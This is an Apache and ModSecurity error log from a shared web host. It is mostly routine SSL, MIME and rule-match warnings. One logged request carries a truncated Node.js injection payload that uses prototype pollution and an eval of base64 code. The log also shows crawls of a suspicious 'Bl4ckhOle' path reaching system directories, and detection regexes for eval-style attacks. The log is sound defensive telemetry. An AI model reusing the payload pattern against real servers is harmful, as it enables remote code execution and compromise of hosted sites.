[Fri Jul 17 09:07:09.688649 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:53688] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:07:10.028153 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 57.141.18.123:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory3/node0/memory8/subsystem/devices/memory103/subsystem/devices/memory112/subsystem/drivers_probe
[Fri Jul 17 09:07:10.464523 2026] [security2:error] [pid 2029866:tid 2029866] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/index.php"] [unique_id "almjZl1_86A5R6msWNfWGwAAABI"]
[Fri Jul 17 09:07:10.465346 2026] [security2:error] [pid 2029866:tid 2029866] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/index.php"] [unique_id "almjZl1_86A5R6msWNfWGwAAABI"]
[Fri Jul 17 09:07:10.465795 2026] [security2:error] [pid 2029866:tid 2029866] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/index.php"] [unique_id "almjZl1_86A5R6msWNfWGwAAABI"]
[Fri Jul 17 09:07:10.477666 2026] [core:error] [pid 2030774:tid 2030774] (13)Permission denied: [client 57.141.18.28:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory93/subsystem/devices/memory142/subsystem/devices/memory133/node0/cpu2/crash_notes_size
[Fri Jul 17 09:07:14.106827 2026] [security2:error] [pid 2013829:tid 2013829] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/storage/vendor/braintree/braintree_php/lib/Braintree/RangeNode.php"] [unique_id "almjag7FYe46zHK_jL3RnQAAABk"]
[Fri Jul 17 09:07:14.107196 2026] [security2:error] [pid 2013829:tid 2013829] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/storage/vendor/braintree/braintree_php/lib/Braintree/RangeNode.php"] [unique_id "almjag7FYe46zHK_jL3RnQAAABk"]
[Fri Jul 17 09:07:14.107544 2026] [security2:error] [pid 2013829:tid 2013829] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/storage/vendor/braintree/braintree_php/lib/Braintree/RangeNode.php"] [unique_id "almjag7FYe46zHK_jL3RnQAAABk"]
[Fri Jul 17 09:07:16.428709 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:53490] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:07:18.231026 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:53590] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:07:22.038053 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:22.038139 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:22.038166 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:22.038212 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:22.038233 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:22.038252 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:22.038270 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:22.043826 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:22.043903 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:22.043929 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:22.043977 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:22.044004 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:22.044027 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:22.044058 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:22.160983 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:22.187930 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:22.285469 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:22.392152 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:22.490489 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:22.592861 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:22.716177 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:22.725814 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:40424] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:07:22.796575 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:22.896330 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:23.644627 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:40464] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:07:24.616472 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:40502] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:07:25.090704 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:40528] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:07:36.399580 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:49382] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:07:37.392869 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:49438] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:07:38.214412 2026] [security2:error] [pid 2029579:tid 2029579] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/storage/vendor/leafo/scssphp/site/site.moon"] [unique_id "almjgiRF0UOO1RzB5_8vzQAAAA4"]
[Fri Jul 17 09:07:38.214798 2026] [security2:error] [pid 2029579:tid 2029579] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/storage/vendor/leafo/scssphp/site/site.moon"] [unique_id "almjgiRF0UOO1RzB5_8vzQAAAA4"]
[Fri Jul 17 09:07:38.215211 2026] [security2:error] [pid 2029579:tid 2029579] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/storage/vendor/leafo/scssphp/site/site.moon"] [unique_id "almjgiRF0UOO1RzB5_8vzQAAAA4"]
[Fri Jul 17 09:07:38.603575 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:38.753831 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:38.860703 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:38.979730 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:39.124131 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:39.134011 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:49542] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:07:39.233180 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:39.322651 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:39.407251 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:39.594937 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:39.595007 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:39.595033 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:39.595118 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:39.595143 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:39.595161 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:39.595188 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:40.787807 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/storage/vendor/symfony/translation/Interval.php"] [unique_id "almjhBAi3pC6yjXGNq2CIgAAAAU"]
[Fri Jul 17 09:07:40.788186 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/storage/vendor/symfony/translation/Interval.php"] [unique_id "almjhBAi3pC6yjXGNq2CIgAAAAU"]
[Fri Jul 17 09:07:40.788494 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/storage/vendor/symfony/translation/Interval.php"] [unique_id "almjhBAi3pC6yjXGNq2CIgAAAAU"]
[Fri Jul 17 09:07:41.056729 2026] [security2:error] [pid 2028246:tid 2028246] [client 35.254.244.123:0] ModSecurity: Rule 55dbd8a44e30 [id "933210"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"][line "503"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "vraasdev.ksoft.web.lk"] [uri "/"] [unique_id "almjhTsMb3am0TgkjETcpgAAAAo"], referer: https://vraasdev.ksoft.web.lk/
[Fri Jul 17 09:07:41.056934 2026] [security2:error] [pid 2028246:tid 2028246] [client 35.254.244.123:0] ModSecurity: Warning. Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:0. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "70"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: String.fromCharCode found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22,\\x22__288e7857\\x22:\\x229d9a58ef41909189\\x22,\\x22ns_2bf52ed2\\x22:0,\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var rswxt=arguments[0x1];var tqm=rswxt;try{var _v=((0,eval)(global[[66,117,102,102,101,114].map(function(c){return String.fromCharCode(c)}).join('')].from('KGFzeW5jIGZ1bmN0aW9uKCl7Ci8vIGZ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-mul [hostname "vraasdev.ksoft.web.lk"] [uri "/"] [unique_id "almjhTsMb3am0TgkjETcpgAAAAo"], referer: https://vraasdev.ksoft.web.lk/
[Fri Jul 17 09:07:41.057125 2026] [security2:error] [pid 2028246:tid 2028246] [client 35.254.244.123:0] ModSecurity: Warning. Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:0. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "70"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: String.fromCharCode found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22,\\x22__288e7857\\x22:\\x229d9a58ef41909189\\x22,\\x22ns_2bf52ed2\\x22:0,\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var rswxt=arguments[0x1];var tqm=rswxt;try{var _v=((0,eval)(global[[66,117,102,102,101,114].map(function(c){return String.fromCharCode(c)}).join('')].from('KGFzeW5jIGZ1bmN0aW9uKCl7Ci8vIGZ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-mul [hostname "vraasdev.ksoft.web.lk"] [uri "/"] [unique_id "almjhTsMb3am0TgkjETcpgAAAAo"], referer: https://vraasdev.ksoft.web.lk/
[Fri Jul 17 09:07:41.059140 2026] [security2:error] [pid 2028246:tid 2028246] [client 35.254.244.123:0] ModSecurity: Rule 55dbd90914d8 [id "941140"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "165"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "vraasdev.ksoft.web.lk"] [uri "/"] [unique_id "almjhTsMb3am0TgkjETcpgAAAAo"], referer: https://vraasdev.ksoft.web.lk/
[Fri Jul 17 09:07:41.059348 2026] [security2:error] [pid 2028246:tid 2028246] [client 35.254.244.123:0] ModSecurity: Rule 55dbd9162368 [id "941160"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "200"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "vraasdev.ksoft.web.lk"] [uri "/"] [unique_id "almjhTsMb3am0TgkjETcpgAAAAo"], referer: https://vraasdev.ksoft.web.lk/
[Fri Jul 17 09:07:41.071048 2026] [security2:error] [pid 2028246:tid 2028246] [client 35.254.244.123:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/"] [unique_id "almjhTsMb3am0TgkjETcpgAAAAo"], referer: https://vraasdev.ksoft.web.lk/
[Fri Jul 17 09:07:41.071756 2026] [security2:error] [pid 2028246:tid 2028246] [client 35.254.244.123:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=10,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almjhTsMb3am0TgkjETcpgAAAAo"], referer: https://vraasdev.ksoft.web.lk/
[Fri Jul 17 09:07:41.471239 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:47384] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:07:42.108446 2026] [security2:error] [pid 2034024:tid 2034024] [client 104.210.56.224:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/css/main.css"] [unique_id "almjho-0g_VSPeIeFN3CaAAAAAs"], referer: https://www.epid.gov.lk/
[Fri Jul 17 09:07:42.108474 2026] [security2:error] [pid 2034024:tid 2034024] [client 104.210.56.224:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/css/main.css"] [unique_id "almjho-0g_VSPeIeFN3CaAAAAAs"], referer: https://www.epid.gov.lk/
[Fri Jul 17 09:07:42.317956 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:47518] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:07:43.036161 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/storage/vendor/zoujingli/wechat-php-sdk/Wechat/WechatScript.php"] [unique_id "almjhhAi3pC6yjXGNq2CJAAAAAU"]
[Fri Jul 17 09:07:43.038308 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/storage/vendor/zoujingli/wechat-php-sdk/Wechat/WechatScript.php"] [unique_id "almjhhAi3pC6yjXGNq2CJAAAAAU"]
[Fri Jul 17 09:07:43.038652 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/storage/vendor/zoujingli/wechat-php-sdk/Wechat/WechatScript.php"] [unique_id "almjhhAi3pC6yjXGNq2CJAAAAAU"]
[Fri Jul 17 09:07:44.343260 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:47618] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:07:46.150804 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:47678] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:07:47.074708 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:47738] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:07:47.891653 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:47.932649 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:48.179293 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:48.334412 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:48.372330 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:48.387274 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:48.472001 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:48.695241 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:50.071137 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:50.226349 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:50.263804 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:50.334757 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:50.586431 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:50.692731 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:50.757278 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:50.919219 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:51.160693 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:51.186105 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:51.284616 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:07:51.921806 2026] [security2:error] [pid 2029579:tid 2029579] [client 57.141.18.63:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory112/node0/memory0/subsystem/devices/memory105/subsystem/"] [unique_id "almjjyRF0UOO1RzB5_8v1gAAAA4"]
